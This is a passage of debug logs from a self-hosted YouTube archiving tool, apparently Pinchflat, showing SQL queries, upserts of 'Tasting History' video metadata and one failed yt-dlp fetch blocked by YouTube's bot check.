s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:29.824 [debug] QUERY OK source="sources" db=0.1ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:29.825 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-24 00:00:00Z], 3] 02:51:29.828 [debug] QUERY OK source="media_items" db=1.7ms idle=1003.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nListen to the Podcast I did with The Biographers at any of these links:\nApple Podcasts: https://podcasts.apple.com/us/podcast...\nSpotify: https://open.spotify.com/episode/1JlC...\nYouTube: \u00A0\u00A0\u00A0•\u00A0Bonus!\u00A0--\u00A0A\u00A0Taste\u00A0of\u00A0History:\u00A0An\u00A0Interview...\u00A0\u00A0\nWebsite: www.thebiographerspodcast.com\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #tesla", "Nikola Tesla's Weird Eating Habits", "786eb1c9-70ac-4876-8844-da5cdbda38c7", "LpfV-0kT56o", "https://www.youtube.com/watch?v=LpfV-0kT56o", false, false, 5, "/downloads/Tasting History with Max Miller/2026-02-24 Nikola Tesla's Weird Eating Habits/Nikola Tesla's Weird Eating Habits [LpfV-0kT56o].NA", false, false, 3, [], 98, ~U[2026-02-24 00:00:00Z], ~U[2026-03-30 06:51:29Z], ~U[2026-03-30 06:51:29Z], "Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nListen to the Podcast I did with The Biographers at any of these links:\nApple Podcasts: https://podcasts.apple.com/us/podcast...\nSpotify: https://open.spotify.com/episode/1JlC...\nYouTube: \u00A0\u00A0\u00A0•\u00A0Bonus!\u00A0--\u00A0A\u00A0Taste\u00A0of\u00A0History:\u00A0An\u00A0Interview...\u00A0\u00A0\nWebsite: www.thebiographerspodcast.com\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #tesla", "Nikola Tesla's Weird Eating Habits", "LpfV-0kT56o", "https://www.youtube.com/watch?v=LpfV-0kT56o", nil, false, "/downloads/Tasting History with Max Miller/2026-02-24 Nikola Tesla's Weird Eating Habits/Nikola Tesla's Weird Eating Habits [LpfV-0kT56o].NA", false, 3, ~U[2026-02-24 00:00:00Z]] 02:51:29.828 [debug] QUERY OK source="sources" db=0.1ms idle=140.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:29.828 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:29.829 [debug] QUERY OK source="media_items" db=0.2ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9882] 02:51:29.829 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nWatch Anthony Clarke discuss the origins of the Altar Stone: \u00A0\u00A0\u00A0•\u00A0Online\u00A0Talk:\u00A0A\u00A0Scottish\u00A0provenance\u00A0for\u00A0the...\u00A0\u00A0\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nStonehenge - By garethwiscombe - https://www.flickr.com/photos/garethw..., CC BY 2.0, https://commons.wikimedia.org/w/index...\nDurrington Walls - By Ethan Doyle White - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index... \nLidar view of Knowlton - By Dr John Wells - Own work, CC BY 4.0, https://commons.wikimedia.org/w/index...\nAurochs Skeleton - By Marcus Sümnick from Rostock, Germany - Aurochs Uploaded by FunkMonk, CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nHazelnuts - By Ivar Leidus - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nAvebury - By MikPeach - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nMayburg Henge - By Chazza114 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nAn aerial view of the henge site and cairn on Cairnpapple Hill in West Lothian - By Dr John Wells - https://web.archive.org/web/201301191..., CC BY 3.0, https://commons.wikimedia.org/w/index...\nWoodhenge - CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nDitch at Avebury - CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nPreseli Hills - By Tony Holkham at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nAltar Stone - By The Stones of Stonehenge - http://www.stonesofstonehenge.org.uk, CC BY 4.0, https://commons.wikimedia.org/w/index...\nOrcadian Basin - By Mikenorton - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2026-02-17 What Did the Builders of Stonehenge Eat?/What Did the Builders of Stonehenge Eat? [i3L1g62Sy58].NA", "id" => "i3L1g62Sy58", "original_url" => "https://www.youtube.com/watch?v=i3L1g62Sy58", "playlist_index" => 6, "title" => "What Did the Builders of Stonehenge Eat?", "upload_date" => "20260217"} 02:51:29.829 [debug] QUERY OK source="sources" db=0.1ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:29.830 [debug] QUERY OK source="sources" db=0.1ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:29.831 [debug] QUERY OK source="media_items" db=1.1ms idle=1.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-17 00:00:00Z], 3] 02:51:29.833 [debug] QUERY OK source="media_items" db=1.3ms idle=2.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nWatch Anthony Clarke discuss the origins of the Altar Stone: \u00A0\u00A0\u00A0•\u00A0Online\u00A0Talk:\u00A0A\u00A0Scottish\u00A0provenance\u00A0for\u00A0the...\u00A0\u00A0\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nStonehenge - By garethwiscombe - https://www.flickr.com/photos/garethw..., CC BY 2.0, https://commons.wikimedia.org/w/index...\nDurrington Walls - By Ethan Doyle White - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index... \nLidar view of Knowlton - By Dr John Wells - Own work, CC BY 4.0, https://commons.wikimedia.org/w/index...\nAurochs Skeleton - By Marcus Sümnick from Rostock, Germany - Aurochs Uploaded by FunkMonk, CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nHazelnuts - By Ivar Leidus - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nAvebury - By MikPeach - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nMayburg Henge - By Chazza114 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nAn aerial view of the henge site and cairn on Cairnpapple Hill in West Lothian - By Dr John Wells - https://web.archive.org/web/201301191..., CC BY 3.0, https://commons.wikimedia.org/w/index...\nWoodhenge - CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nDitch at Avebury - CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nPreseli Hills - By Tony Holkham at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nAltar Stone - By The Stones of Stonehenge - http://www.stonesofstonehenge.org.uk, CC BY 4.0, https://commons.wikimedia.org/w/index...\nOrcadian Basin - By Mikenorton - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "What Did the Builders of Stonehenge Eat?", "8617bdd2-f315-4ccc-877b-6623f4202dd9", "i3L1g62Sy58", "https://www.youtube.com/watch?v=i3L1g62Sy58", false, false, 6, "/downloads/Tasting History with Max Miller/2026-02-17 What Did the Builders of Stonehenge Eat?/What Did the Builders of Stonehenge Eat? [i3L1g62Sy58].NA", false, false, 3, [], 98, ~U[2026-02-17 00:00:00Z], ~U[2026-03-30 06:51:29Z], ~U[2026-03-30 06:51:29Z], "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nWatch Anthony Clarke discuss the origins of the Altar Stone: \u00A0\u00A0\u00A0•\u00A0Online\u00A0Talk:\u00A0A\u00A0Scottish\u00A0provenance\u00A0for\u00A0the...\u00A0\u00A0\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nStonehenge - By garethwiscombe - https://www.flickr.com/photos/garethw..., CC BY 2.0, https://commons.wikimedia.org/w/index...\nDurrington Walls - By Ethan Doyle White - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index... \nLidar view of Knowlton - By Dr John Wells - Own work, CC BY 4.0, https://commons.wikimedia.org/w/index...\nAurochs Skeleton - By Marcus Sümnick from Rostock, Germany - Aurochs Uploaded by FunkMonk, CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nHazelnuts - By Ivar Leidus - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nAvebury - By MikPeach - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nMayburg Henge - By Chazza114 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nAn aerial view of the henge site and cairn on Cairnpapple Hill in West Lothian - By Dr John Wells - https://web.archive.org/web/201301191..., CC BY 3.0, https://commons.wikimedia.org/w/index...\nWoodhenge - CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nDitch at Avebury - CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nPreseli Hills - By Tony Holkham at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nAltar Stone - By The Stones of Stonehenge - http://www.stonesofstonehenge.org.uk, CC BY 4.0, https://commons.wikimedia.org/w/index...\nOrcadian Basin - By Mikenorton - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "What Did the Builders of Stonehenge Eat?", "i3L1g62Sy58", "https://www.youtube.com/watch?v=i3L1g62Sy58", nil, false, "/downloads/Tasting History with Max Miller/2026-02-17 What Did the Builders of Stonehenge Eat?/What Did the Builders of Stonehenge Eat? [i3L1g62Sy58].NA", false, 3, ~U[2026-02-17 00:00:00Z]] 02:51:29.833 [debug] QUERY OK source="sources" db=0.1ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:29.833 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:29.834 [debug] QUERY OK source="media_items" db=0.2ms idle=3.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9353] 02:51:29.834 [debug] Current batch of media processed. Will check again in 1000ms 02:51:30.283 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b8/7f/b87f84252cdc65f6a94eaddd0c1f1a21826b65a24641b4389f9d54a25826b873.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] t1O1hcixZDU: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 02:51:30.284 [error] yt-dlp download error for media item #11535: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] t1O1hcixZDU: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 02:51:30.284 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] t1O1hcixZDU: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 02:51:30.285 [info] {"args":{"id":11535},"id":1713,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1802048,"event":"job:stop","queue_time":1481484,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:51:30.835 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Get up to 40% off your first order at\nhttps://drinktrade.com/maxmiller \n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nOkra Cross Section - By Prathyush Thomas - Own work, GFDL 1.2, https://commons.wikimedia.org/w/index...\nOkra Growing - By Earth100 - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nSassafras leaves - By Randy Everette - Imported from 500px (archived version) by the Archive Team. (detail page), CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory #gumbo", "filename" => "/downloads/Tasting History with Max Miller/2026-02-10 The History of Gumbo in New Orleans/The History of Gumbo in New Orleans [99yi0FRF4uM].NA", "id" => "99yi0FRF4uM", "original_url" => "https://www.youtube.com/watch?v=99yi0FRF4uM", "playlist_index" => 7, "title" => "The History of Gumbo in New Orleans", "upload_date" => "20260210"} 02:51:30.836 [debug] QUERY OK source="sources" db=0.2ms idle=1002.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:30.836 [debug] QUERY OK source="sources" db=0.1ms idle=1002.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:30.838 [debug] QUERY OK source="media_items" db=1.3ms idle=551.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-10 00:00:00Z], 3] 02:51:30.902 [debug] QUERY OK source="media_items" db=64.1ms idle=547.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get up to 40% off your first order at\nhttps://drinktrade.com/maxmiller \n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nOkra Cross Section - By 